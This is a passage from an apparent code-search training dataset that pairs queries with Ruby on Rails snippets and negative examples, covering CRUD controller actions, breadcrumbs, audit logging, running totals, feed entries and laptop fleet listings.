"def create\n @release = @environment.releases.new(params[:release])\n\n respond_to do |format|\n if @release.save\n format.html { redirect_to @release, notice: 'Release was successfully created.' }\n format.json { render json: @release, status: :created, location: @release }\n else\n format.html { render action: \"new\" }\n format.json { render json: @release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @loanable.update(loanable_params)\n format.html { redirect_to [:users, @loanable], notice: 'Loanable was successfully updated.' }\n format.json { render :show, status: :ok, location: @loanable }\n else\n format.html { render :edit }\n format.json { render json: @loanable.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /release_loans/1 DELETE /release_loans/1.json
|
def destroy
@release_loan = ReleaseLoan.find(params[:id])
@release_loan.destroy
respond_to do |format|
format.html { redirect_to release_loans_url }
format.json { head :no_content }
end
end
|
[
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def delete_floor_plan(args = {}) \n delete(\"/files.json/floorplan/images\", args)\nend",
"def delete_aos_version_box(args = {}) \n delete(\"/aosversions.json/aosversionbox/#{args[:aosVersionBoxId]}\", args)\nend",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @lease.destroy\n respond_to do |format|\n format.html { redirect_to leases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @on_loan = OnLoan.find(params[:id])\n @on_loan.destroy\n\n respond_to do |format|\n format.html { redirect_to on_loans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_release = ClientRelease.find(params[:id])\n @client_release.destroy\n\n respond_to do |format|\n format.html { redirect_to client_releases_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @loan = Loan.find(params[:id])\n @loan.destroy\n\n respond_to do |format|\n format.html { redirect_to loans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lease = Lease.find(params[:id])\n @lease.destroy\n\n respond_to do |format|\n format.html { redirect_to leases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loan.destroy\n respond_to do |format|\n format.html { redirect_to loans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @release = @environment.releases.find(params[:id])\n @release.destroy\n\n respond_to do |format|\n format.html { redirect_to releases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n\n head :no_content\n end",
"def destroy\n @lounge = Lounge.find(params[:id])\n @lounge.destroy\n\n respond_to do |format|\n format.html { redirect_to lounges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_budget.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_budgets_url, notice: 'Budget was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n @lease.destroy\n respond_to do |format|\n format.html { redirect_to leases_url, notice: 'Lease was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kota_stone.destroy\n respond_to do |format|\n format.html { redirect_to kota_stones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lunar_release = LunarRelease.find(params[:id])\n @lunar_release.destroy\n\n respond_to do |format|\n format.html { redirect_to(lunar_releases_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @yanlun = Yanlun.find(params[:id])\n @yanlun.destroy\n\n respond_to do |format|\n format.html { redirect_to yanluns_url }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Root breadcrumbs setup method. May be overridden or augmented by subclasses
|
def set_breadcrumbs
@breadcrumbs = []
add_breadcrumb "Home", root_path
end
|
[
"def init_breadcrumbs\n @list_of_breadcrumbs = [[ 'base', base_path ], [ controller_name, nil ], [ nil, action_name ]]\n set_breadcrumb_path( self.send( controller_name + '_path' ))\n rescue NoMethodError\n end",
"def before_breadcrumb_callbacks; end",
"def auto_set_breadcrumb\n ariane.add(\"Home\", root_path, 1) if ariane.crumbs.empty? \n \n if self.action_name == \"index\"\n name = controller_name.titleize\n level = get_level || 2\n else\n name = \"#{action_name.titleize} #{controller_name.singularize.titleize}\"\n level = get_level || 3\n end\n\n ariane.add(name, request.fullpath, level)\n end",
"def create_store_breadcrumbs\n @app_breadcrumbs ||= [ { :title => 'Home', :url => root_path }]\n end",
"def on_breadcrumb_callbacks; end",
"def before_breadcrumb_callbacks=(_arg0); end",
"def breadcrumbs\n @_breadcrumbs ||= []\n end",
"def add_breadcrumbs\n breadcrumb_for \"index\" # base\n\n breadcrumb_for action_name unless action_name == \"index\"\n end",
"def breadcrumb(&block)\n config.breadcrumb = block\n end",
"def rails_activesupport_breadcrumbs; end",
"def add_breadcrumbs\n breadcrumb_for \"index\" # base\n\n if action_name != \"index\"\n breadcrumb_for action_name\n end\n end",
"def create_admin_breadcrumbs\n @admin_breadcrumbs ||= [ { :title => 'Healthier Childcare', :url => admin_root_path}]\n end",
"def hardcoded_breadcrumbs\n [\n {\n title: \"Home\",\n url: \"/\",\n },\n {\n title: subtopic.parent.title,\n url: subtopic.parent.base_path,\n },\n {\n title: subtopic.title,\n url: subtopic.base_path,\n },\n ]\n end",
"def breadcrumbs\n @breadcrumbs ||= (@raw['Breadcrumbs'] || []).map{|data| Breadcrumb.create(data)}\n end",
"def home_breadcrumbs(action=\"\")\n crumbs = []\n\n crumbs.push({ \"text\": t(\"defaults.home\"), \"link\": root_path })\n\n case action\n when \"api\"\n crumbs.push({ \"text\": \"API\" })\n\n when \"conferences\"\n crumbs.push({ \"text\": t(\"views.conference.list\") })\n end\n\n render \"partials/breadcrumbs\", crumbs: crumbs\n end",
"def test_breadcrumbs\r\n\t\troot_breadcrumb = categories(:root).breadcrumbs\r\n\r\n\t\tassert_equal([categories(:root)], root_breadcrumb)\r\n\r\n\t\tlivestock_breadcrumb = categories(:livestock).breadcrumbs\r\n\r\n\t\tassert_equal(livestock_breadcrumb.length, 2)\r\n\t\tassert_equal(livestock_breadcrumb[0], categories(:root))\r\n\t\tassert_equal(livestock_breadcrumb[1], categories(:livestock))\r\n\r\n\t\tpigs_breadcrumb = categories(:pigs).breadcrumbs\r\n\r\n\t\tassert_equal(pigs_breadcrumb.length, 3)\r\n\t\tassert_equal(pigs_breadcrumb[0], categories(:root))\r\n\t\tassert_equal(pigs_breadcrumb[1], categories(:livestock))\r\n\t\tassert_equal(pigs_breadcrumb[2], categories(:pigs))\r\n\r\n\t\tdogs_breadcrumb = categories(:dogs).breadcrumbs\r\n\r\n\t\tassert_equal(dogs_breadcrumb.length, 3)\r\n\t\tassert_equal(dogs_breadcrumb[0], categories(:root))\r\n\t\tassert_equal(dogs_breadcrumb[1], categories(:livestock))\r\n\t\tassert_equal(dogs_breadcrumb[2], categories(:dogs))\r\n\r\n\t\tcats_breadcrumb = categories(:cats).breadcrumbs\r\n\r\n\t\tassert_equal(cats_breadcrumb.length, 3)\r\n\t\tassert_equal(cats_breadcrumb[0], categories(:root))\r\n\t\tassert_equal(cats_breadcrumb[1], categories(:livestock))\r\n\t\tassert_equal(cats_breadcrumb[2], categories(:cats))\r\n\tend",
"def breadcrumbs\n breadcrumbs = link_to this_webapp.webapp_name, root_path, :class => 'first-breadcrumb'\n unless @breadcrumb.nil?\n breadcrumbs += content_tag(:label, \" > \")\n if @breadcrumb.kind_of? Picture\n picture = @breadcrumb\n @breadcrumb = @breadcrumb.gallery\n end\n breadcrumbs += parent_breadcrumbs_gallery(@breadcrumb)\n\n unless picture.nil?\n breadcrumbs += content_tag(:label, \" > \")\n breadcrumbs += content_tag(:label, picture.title, :class => 'end-breadcrumb')\n end\n end\n if @finish_breadcrumb\n breadcrumbs + \" > \" + @finish_breadcrumb\n else\n breadcrumbs\n end\n end",
"def build_breadcrumbs\n @breadcrumbs = [\n { :title => I18n.t(\"admin.sections.#{resource_collection_name}\"), :url => collection_path }\n ]\n @breadcrumbs << { :title => params[:action] } unless params[:action] == 'index'\n end",
"def assign_breadcrumb\n if page.present?\n self.page.breadcrumb ||= page.title\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Log action, along with record_id, section, and id from params, plus any optional params (which overwrite the default params if there are duplicates)
|
def audit_log(action, optional_params = {})
description = params.slice(:record_id, :section, :id).merge(optional_params).map { |key, value| "#{key}:#{value}"}.join('|')
requester = current_user.try(:email) || 'NONE'
AuditLog.create(event: action, description: description, requester_info: requester)
description
end
|
[
"def record(action, *arguments)\n log \"#{action_padding(action)}#{action} #{arguments.join(' ')}\"\n end",
"def log_action action, job, *stuff\n Log.info [action, job.loggable, *stuff].flatten.join(\"\\t\")\n end",
"def update_log\n recorded_user = begin\n current_resource_owner&.id || 'N/A'\n rescue ActiveRecord::RecordNotFound\n 'N/A'\n end\n description = controller_name + ' ' + action_name\n params.each do |variable|\n description = description + ' ' + variable.to_s\n end\n AuditLog.create(requester_info: recorded_user, event: 'event', event_time: Time.current.inspect, description: description)\n end",
"def log\n Task.append_log!(params[:id], params[:task] ? params[:task][:log] : params[:build][:log])\n render :nothing => true\n end",
"def log_event(event, params)\n end",
"def log action, *args\n say LOG_FORMAT % [action, args.join(' ')]\n end",
"def log_user_activity!\n \n # clone in way which strips out attachments\n params_to_log = collect_hash_contents(params)\n\n params_to_log.delete('controller') \n params_to_log.delete('action') \n \n log_entry = LogEntry.create!( :user_id => current_user.id, :action => params[:controller]+'.'+params[:action], :params => params_to_log, :referrer => request.env[\"HTTP_REFERER\"], :user_agent => request.env[\"HTTP_USER_AGENT\"], :host => request.env[\"REMOTE_ADDR\"] );\n \n end",
"def log action, *args\n say '%15s %s' % [action, args.join(' ')]\n end",
"def log_api_activity!\n\n # clone in way which strips out attachments\n params_to_log = collect_hash_contents(params)\n\n params_to_log.delete('controller') \n params_to_log.delete('action') \n\n # we have some public API endpoints, so client_id can be null\n client_id = (current_client.present? ? current_client.id : nil) rescue nil;\n log_entry = ApiLogEntry.create!(:action => params[:controller]+'.'+params[:action], :params => params_to_log, :host => request.env[\"REMOTE_ADDR\"] );\n\n end",
"def log(action, *args)\n say format('%15s %s', action, args.join(' '))\n end",
"def log_action(action, mid)\n begin\n puts mid\n song = @library.get_file(mid).first\n \n filename = \"channel_action.log\"\n log_store = YAML::Store.new filename\n \n action_object = [action,\n [\"artist\" => song.artist,\n \"album\" => song.album,\n \"genre\" => song.genre]]\n\n puts action_object.to_yaml\n\n log_store.transaction do\n log_store['actions'] += action_object\n end\n rescue => e\n error(\"error scoring #{e}\")\n end\n end",
"def log_action(message)\n log(message + ':')\n end",
"def log_update\n log_action :update\n end",
"def process_action(action)\n super\n\n if logger\n log = DelayedLog.new do\n \"\\n\\nProcessing #{self.class.name}\\##{action_name} \" \\\n \"to #{request.formats} \" \\\n \"(for #{request_origin}) [#{request.method.to_s.upcase}]\"\n end\n\n logger.info(log)\n end\n end",
"def record_action_on_item(action, iid, params={})\n params.merge!(default_params)\n params['pio_action'] = action\n params['pio_uid'] = @uid\n params['pio_iid'] = iid\n params[\"pio_t\"] = ((params[\"pio_t\"].to_r) * 1000).round(0).to_s if params[\"pio_t\"]\n extract_latlng(params)\n @connection.post(:actions, :u2i, params).body\n end",
"def mod_log(**params)\n client.model(:get, \"/r/#{read_attribute(:display_name)}/about/log\", params)\n end",
"def attach_log_to_request\n # First we attempt to load an existing log from the request params\n @log = SystemLog.find(params[:log_id]) if params[:log_id]\n\n # Otherwise, we start a brand new log chain here\n @log = SystemLog.create( log_type: params[:action],\n from: params['From'],\n to: params['To'],\n meta: params.to_json ) unless @log.present?\n\n # Attach this log to this request cycle\n RequestStore.store[:log] = @log\n # Stash params for this request as well— for debugging\n RequestStore.store[:params] = params.dup\n RequestStore.store[:params_original] = params.dup\n end",
"def action_log_tag_action\n case request.method\n when \"GET\" then params[:id] ? \"SHOW\" : \"LIST\"\n when \"POST\" then \"ADD\" \n when \"PUT\" then \"UPDATE\"\n when \"DELETE\" then \"DELETE\"\n else \"UNKNOWN\"\n end\n end",
"def log_input(params)\n return unless @logger\n output = params.reject { |k, _v| internal_key?(k) }\n log_info_hash(output, ActionCommand::LOG_KIND_COMMAND_INPUT)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
input: array of integers output: array containing running total for each element data structure: integer array algorithim: initialise `sum` equal to `0` initialise `running_total` empty array iterate over array argument increment `sum` by current element append `sum` to `running_total` return `running_total` Examples:
|
def running_total(array)
sum = 0
running_total = []
array.each do |element|
sum += element
running_total << sum
end
running_total
end
|
[
"def running_total arr\n totals = []\n sum = 0\n arr.each do |elm|\n sum += elm\n totals << sum\n end\n totals\nend",
"def running_total(arr)\n res = []\n running_total = 0\n\n arr.each do |element|\n running_total += element\n res << running_total\n end\n\n res\nend",
"def running_total(arr)\n running_totals = []\n sum = 0\n arr.each do |num|\n sum += num\n running_totals << sum\n end\n running_totals\nend",
"def running_total(input_array)\n sum = 0 # => 0, 0, 0, 0\n new_array = input_array.map do |value| # => [2, 5, 13], [14, 11, 7, 15, 20], [3], []\n sum += value # => 2, 7, 20, 14, 25, 32, 47, 67, 3\n end # => [2, 7, 20], [14, 25, 32, 47, 67], [3], []\nend",
"def running_total(array)\n current_total = 0\n results_array = []\n array.each do |number|\n current_total += number\n results_array << current_total\n end\n results_array\nend",
"def running_total(arr)\n running_total = 0\n new_arr = []\n arr.each do |num|\n running_total += num\n new_arr << running_total\n end\n new_arr\nend",
"def running_total1(array)\n r_total = 0\n array.map { |n| r_total += n }\nend",
"def running_total(arr)\n total_sum = 0\n arr.map { |elem| total_sum += elem }\nend",
"def running_total(array)\n total = 0\n running_total = []\n\n array.each do |item|\n total += item\n running_total.push(total)\n end\n\n running_total\nend",
"def running_total(array)\n sum = 0\n array.map do |number|\n sum += number\n end\nend",
"def running_total(array)\n running_total = 0\n new_array = []\n\n array.each_with_index do |number, index|\n running_total += number\n new_array[index] = running_total\n end\n\n new_array\nend",
"def running_total(array)\n\n current_total = 0\n index_position = 0\n totals_array = []\n\n while index_position < array.size\n current_total += array[index_position]\n totals_array << current_total\n index_position += 1\n end\n\n totals_array\nend",
"def running_total(array)\n counter = 0\n new_arr = []\n array.each do |num| \n counter += num\n new_arr.push(counter)\n end\n new_arr\nend",
"def running_total(input_arr)\n running_total_arr = []\n input_arr.each_with_index do |elem, idx|\n if idx == 0\n running_total_arr[idx] = input_arr[idx]\n p running_total_arr\n else\n running_total_arr[idx] = running_total_arr[idx - 1] + input_arr[idx]\n p running_total_arr\n end\n end\n return running_total_arr\nend",
"def running_total(array)\n return array if array[0] == nil\n sum = 0\n array.map { |num| sum += num}\nend",
"def running_total(nums_ary)\n ary = []\n\n nums_ary.reduce(0) do |sum, num|\n ary << sum + num\n sum + num\n end\n ary\nend",
"def running_total(arr)\n arr.map.with_index { |_, idx| arr[0, idx + 1].sum }\nend",
"def running_total(arr)\n arr.map.with_index { |_int, i| arr[0..i].sum }\nend",
"def running_total(array)\n sums = []\n while array.count > 0 do \n sums << array.sum \n array.pop\n end\n sums = sums.reverse!\n p sums\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /feed_entries POST /feed_entries.xml
|
def create
@feed_entry = FeedEntry.new(params[:feed_entry])
respond_to do |format|
if @feed_entry.save
flash[:notice] = 'FeedEntry was successfully created.'
format.html { redirect_to(@feed_entry) }
format.xml { render :xml => @feed_entry, :status => :created, :location => @feed_entry }
else
format.html { render :action => "new" }
format.xml { render :xml => @feed_entry.errors, :status => :unprocessable_entity }
end
end
end
|
[
"def create_feed\n @feed = Feed.new(params[:feed])\n\n respond_to do |format|\n if @feed.save\n EntryFeed.create_from_feed(@feed)\n format.html { redirect_to @feed, :notice => 'Feed was successfully created.' }\n format.json { render :json => @feed, :status => :created, :location => @feed }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @feed.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @feed_entry = FeedEntry.new(feed_entry_params)\n\n respond_to do |format|\n if @feed_entry.save\n format.html { redirect_to @feed_entry, notice: 'Feed entry was successfully created.' }\n format.json { render :show, status: :created, location: @feed_entry }\n else\n format.html { render :new }\n format.json { render json: @feed_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @feed_entry = FeedEntry.new(feed_entry_params)\n\n respond_to do |format|\n if @feed_entry.save\n format.html { redirect_to feed_entries_path, notice: 'Feed entry was successfully created.' }\n format.json { render action: 'show', status: :created, location: @feed_entry }\n else\n format.html { render action: 'new' }\n format.json { render json: @feed_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def entries_to_http entries, url, http = Atom::HTTP.new\n coll = Atom::Collection.new url, http\n\n entries.each { |entry| coll.post! entry }\n end",
"def post_entity_entries(eid, entries)\n endpoint_url = URI.join(self.engine.base_url, \"entities/#{eid}/entries?v=#{self.engine.version}\")\n\n self.post(endpoint_url, entries.to_json)\n end",
"def post!(entry, slug = nil)\n raise \"Cowardly refusing to POST a non-Atom::Entry\" unless entry.is_a? Atom::Entry\n headers = {\"Content-Type\" => \"application/atom+xml\" }\n headers[\"Slug\"] = slug if slug\n\n @http.post(@href, entry.to_s, headers)\n end",
"def entries\n nodes = @doc.xpath(\"atom:feed/atom:entry\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomFeedEntry.new(node) }\n end",
"def create\n logger.info \"Creating Entry\"\n @entry = Entry.new(params[:entry])\n logger.info \"Entry Created\"\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to(entries_url, :notice => 'Entry was successfully created.') }\n format.xml { render :xml => @entry, :status => :created, :location => @entry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @feed = Feed.new(params[:feed])\n\n respond_to do |format|\n if @feed.save\n format.html { redirect_to(feeds_url, :notice => 'Feed was successfully created.') }\n format.xml { render :xml => @feed, :status => :created, :location => @feed }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feed.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @rss_entry = RssEntry.new(params[:rss_entry])\n\n respond_to do |format|\n if @rss_entry.save\n format.html { redirect_to(@rss_entry, :notice => 'RssEntry was successfully created.') }\n format.xml { render :xml => @rss_entry, :status => :created, :location => @rss_entry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rss_entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @entry = list.entries.build(params[:entry])\n\n respond_to do |format|\n if entry.save\n format.html { redirect_to list, notice: 'Entry was successfully created.' }\n format.json { render json: entry, status: :created, location: [list, entry] }\n else\n format.html { render action: \"new\" }\n format.json { render json: entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def feed_fetch_success url, feed\n unless feed\n # not modified\n return\n end\n begin\n f = Feed.filter(:feed_uri => url).first\n f.last_fetch = DateTime.now\n\n # the uri changed (redirection)\n if f.feed_uri != feed.feed_url\n f.feed_uri = feed.feed_url\n end\n\n now = DateTime.now\n # the date of the last post\n if feed.entries.first\n d = feed.entries.first.published ? parse_date(feed.entries.first.published) : now\n if (!f.last_post) || (d > f.last_post)\n f.last_post = d\n end\n end\n f.save\n\n # create the entries\n feed.entries.each do |entry|\n begin\n create_post(entry, f)\n rescue Exception => e\n p \"#{url} #{e}\"\n STDOUT << \"#{e.backtrace.join(\"\\n\")}\\n\"\n end\n end\n\n rescue Exception => e\n p \"#{url} #{e}\"\n STDOUT << \"#{e.backtrace.join(\"\\n\")}\\n\"\n end\n end",
"def create\n @feed = Feed.new(params[:feed])\n\n respond_to do |format|\n if @feed.save\n flash[:notice] = 'Feed was successfully created.'\n format.html { redirect_to feed_url(@feed) }\n format.xml { head :created, :location => feed_url(@feed) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feed.errors.to_xml }\n end\n end\n end",
"def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end",
"def create\n @notag_list = true\n @dl_feed = DlFeed.new(params[:dl_feed])\n\n respond_to do |format|\n if @dl_feed.save\n flash[:notice] = 'DlFeed was successfully created.'\n format.html { redirect_to(@dl_feed) }\n format.xml { render :xml => @dl_feed, :status => :created, :location => @dl_feed }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dl_feed.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def notified params\n update_attributes(:status => params[\"status\"][\"http\"])\n params['items'].each do |i|\n entries.create(:atom_id => i[\"id\"], :title =>i[\"title\"], :url => i[\"permalinkUrl\"], :content => i[\"content\"])\n end\n end",
"def add_entries(feed_entries)\n guids = entries.map(&:guid)\n feed_entries.reject {|e| guids.include? e.id}.each do |entry|\n entry.sanitize!\n entries.add(entry)\n end\n end",
"def entries_to_http_with_slug entries, url, http = Atom::HTTP.new\n coll = Atom::Collection.new url, http\n\n entries.each do |slug, entry|\n coll.post! entry, slug\n end\nend",
"def add_entries(entries)\n entries.each do |entry|\n description = entry.content || entry.summary\n Article.create!(\n :title => entry.title,\n :description => description,\n :link => entry.url,\n :pubDate => entry.published,\n :guid => entry.id,\n :channel_id => self.id,\n :starred => false)\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /feed_entries/1 DELETE /feed_entries/1.xml
|
def destroy
@feed_entry = FeedEntry.find(params[:id])
@feed_entry.destroy
respond_to do |format|
format.html { redirect_to(feed_entries_url) }
format.xml { head :ok }
end
end
|
[
"def destroy\n @feed = Feed.find(params[:id])\n current_user.feeds.delete @feed\n current_user.save!\n\n respond_to do |format|\n format.html { redirect_to(root_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feed = Feed.find(params[:id])\n @feed.destroy\n\n respond_to do |format|\n format.html { redirect_to(feeds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feed_entry.destroy\n respond_to do |format|\n format.html { redirect_to feed_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feed = Feed.find(params[:id])\n @feed.destroy\n\n respond_to do |format|\n format.html { redirect_to feeds_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feed_entry = FeedEntry.find(params[:id])\n @feed_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to feed_entries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rss_feed = RssFeed.find(params[:id])\n @rss_feed.destroy\n\n respond_to do |format|\n format.html { redirect_to(rss_feeds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entry = FeedEntry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry = Entry.find(params[:id])\n @entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(entries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @rssfeed = Rssfeed.find(params[:id])\n @rssfeed.destroy\n\n respond_to do |format|\n format.html { redirect_to(rssfeeds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @datafeed = Datafeed.find(params[:id])\n @datafeed.destroy\n\n respond_to do |format|\n format.html { redirect_to(datafeeds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feed_url = FeedUrl.find(params[:id])\n @feed_url.destroy\n\n respond_to do |format|\n format.html { redirect_to(feed_urls_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feed = Feed.destroy(params[:id])\n flash[:notice] = t(\"collector.feeds.notice.removed\", :feed_url => @feed.url)\n \n respond_to do |wants| \n wants.html { redirect_to feeds_path }\n wants.xml { render :nothing => true }\n end\n end",
"def destroy\n @notag_list = true\n @dl_feed = DlFeed.find(params[:id])\n @dl_feed.destroy\n\n respond_to do |format|\n format.html { redirect_to(dl_feeds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feed_api = FeedApi.find(params[:id])\n @feed_api.destroy\n\n respond_to do |format|\n format.html { redirect_to(feed_apis_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @populate_feed_info = PopulateFeedInfo.find(params[:id])\n @populate_feed_info.destroy\n\n respond_to do |format|\n format.html { redirect_to(populate_feed_infos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feed_spec = FeedSpec.find(params[:id])\n @feed_spec.destroy\n\n respond_to do |format|\n format.html { redirect_to(feed_specs_url) }\n format.xml { head :ok }\n end\n end",
"def delete_feed\n @layer = Layer.find(params[:id])\n @feed = Feed.find(params[:feed_id])\n @layer.feeds.delete(@feed)\n redirect_to @layer, notice: \"Deleted feed #{@feed.title} from this layer\"\n end",
"def delete_feed(feed_id)\n the_feed = hawk_escape_id feed_id\n http_delete(\"/feeds/#{the_feed}\")\n end",
"def destroy\n @newsfeed = Newsfeed.find(params[:id])\n @newsfeed.destroy\n\n respond_to do |format|\n format.html { redirect_to(newsfeeds_url) }\n format.xml { head :ok }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Laptops fleet_type Can be: :all, :spares, :staff, :archived Return a table of inwarranty laptops.
|
def print_laptops(fleet_type)
simple_print(@snipe.laptops(fleet_type), %w(asset_tag serial name assigned_to.username), 'asset_tag', ['Asset Tag', 'Serial', 'Asset Name', 'Assigned To'])
end
|
[
"def print_laptops_in_warranty(fleet_type)\n laptops = @snipe.laptops(fleet_type)\n data = laptops.find_all {|i| i['in_warranty'] }\n simple_print(data, %w(warranty_expires.formatted asset_tag serial name assigned_to.username), 'warranty_expires.formatted', ['Warranty Expires', 'Asset Tag', 'Serial', 'Asset Name', 'Assigned To'])\n end",
"def revenue_vehicle_fleets(orgs)\n fy_year = @report.ntd_form.fy_year\n typed_org = Organization.get_typed_organization(@report.ntd_form.organization)\n start_date = typed_org.start_of_ntd_reporting_year(fy_year)\n end_date = start_date + 1.year - 1.day\n\n fleets = []\n \n AssetFleet.where(organization: orgs, asset_fleet_type: AssetFleetType.find_by(class_name: @types[:revenue_vehicle_fleets])).each do |row|\n next if row.assets.empty?\n \n fleet_status = calculate_vehicle_fleet_status(row, start_date)\n next unless fleet_status\n \n primary_mode = check_seed_field(row, 'primary_fta_mode_type')\n primary_tos = check_seed_field(row, 'primary_fta_service_type')\n vehicle_type = check_seed_field(row, 'fta_type')\n funding_type = check_seed_field(row, 'fta_funding_type')\n ownership_type = check_seed_field(row, 'fta_ownership_type')\n manufacturer_model = row.get_manufacturer_model\n \n fleet ={\n rvi_id: row.ntd_id,\n fta_asset_class: row.get_fta_type.fta_asset_class.name,\n fta_mode: primary_mode.try(:code),\n fta_service_type: primary_tos.try(:code),\n agency_fleet_id: row.agency_fleet_id,\n dedicated: row.get_dedicated ? 'Yes' : 'No',\n is_autonomous: row.get_is_autonomous ? 'Yes' : '',\n direct_capital_responsibility: row.get_direct_capital_responsibility ? 'Yes' : '',\n size: row.total_count(end_date),\n num_active: row.active_count(end_date),\n num_ada_accessible: row.ada_accessible_count,\n num_emergency_contingency: row.fta_emergency_contingency_count,\n vehicle_type: vehicle_type ? \"#{vehicle_type.name} (#{vehicle_type.code})\" : nil,\n manufacture_code: row.get_manufacturer.try(:to_s),\n rebuilt_year: row.rebuilt_year,\n rebuilt_type: row.ntd_revenue_vehicle_rebuilt_type,\n model_number: manufacturer_model ? (manufacturer_model.name == 'Other' ? row.get_other_manufacturer_model : manufacturer_model) : nil,\n other_manufacturer: row.get_other_manufacturer.try(:to_s),\n fuel_type: row.get_fuel_type.try(:name),\n other_fuel_type: row.get_other_fuel_type,\n dual_fuel_type: row.get_dual_fuel_type.try(:to_s),\n vehicle_length: row.get_vehicle_length,\n seating_capacity: row.get_seating_capacity,\n standing_capacity: row.get_standing_capacity,\n total_active_miles_in_period: row.ntd_miles_this_year(fy_year),\n avg_lifetime_active_miles: row.avg_active_lifetime_ntd_miles(fy_year),\n ownership_type: ownership_type ? \"#{ownership_type.name} (#{ownership_type.code})\" : nil,\n other_ownership_type: row.get_other_fta_ownership_type,\n funding_type: funding_type ? \"#{funding_type.name} (#{funding_type.code})\" : nil,\n notes: row.notes,\n status: fleet_status,\n useful_life_remaining: row.useful_life_remaining(end_date),\n useful_life_benchmark: row.useful_life_benchmark,\n manufacture_year: row.get_manufacture_year,\n additional_fta_mode: row.get_secondary_fta_mode_type.try(:code),\n additional_fta_service_type: row.get_secondary_fta_service_type.try(:code),\n vehicle_object_key: row.object_key\n }\n\n RailSafetyFeature.active.each do |feature|\n fleet[\"total_#{feature.name.parameterize(separator: '_')}\".to_sym] = row.assets_rail_safety_features.where(rail_safety_feature: feature).count\n end\n\n # calculate the additional properties and merge them into the results\n # hash\n fleets << NtdRevenueVehicleFleet.new(fleet)\n end\n fleets\n\n end",
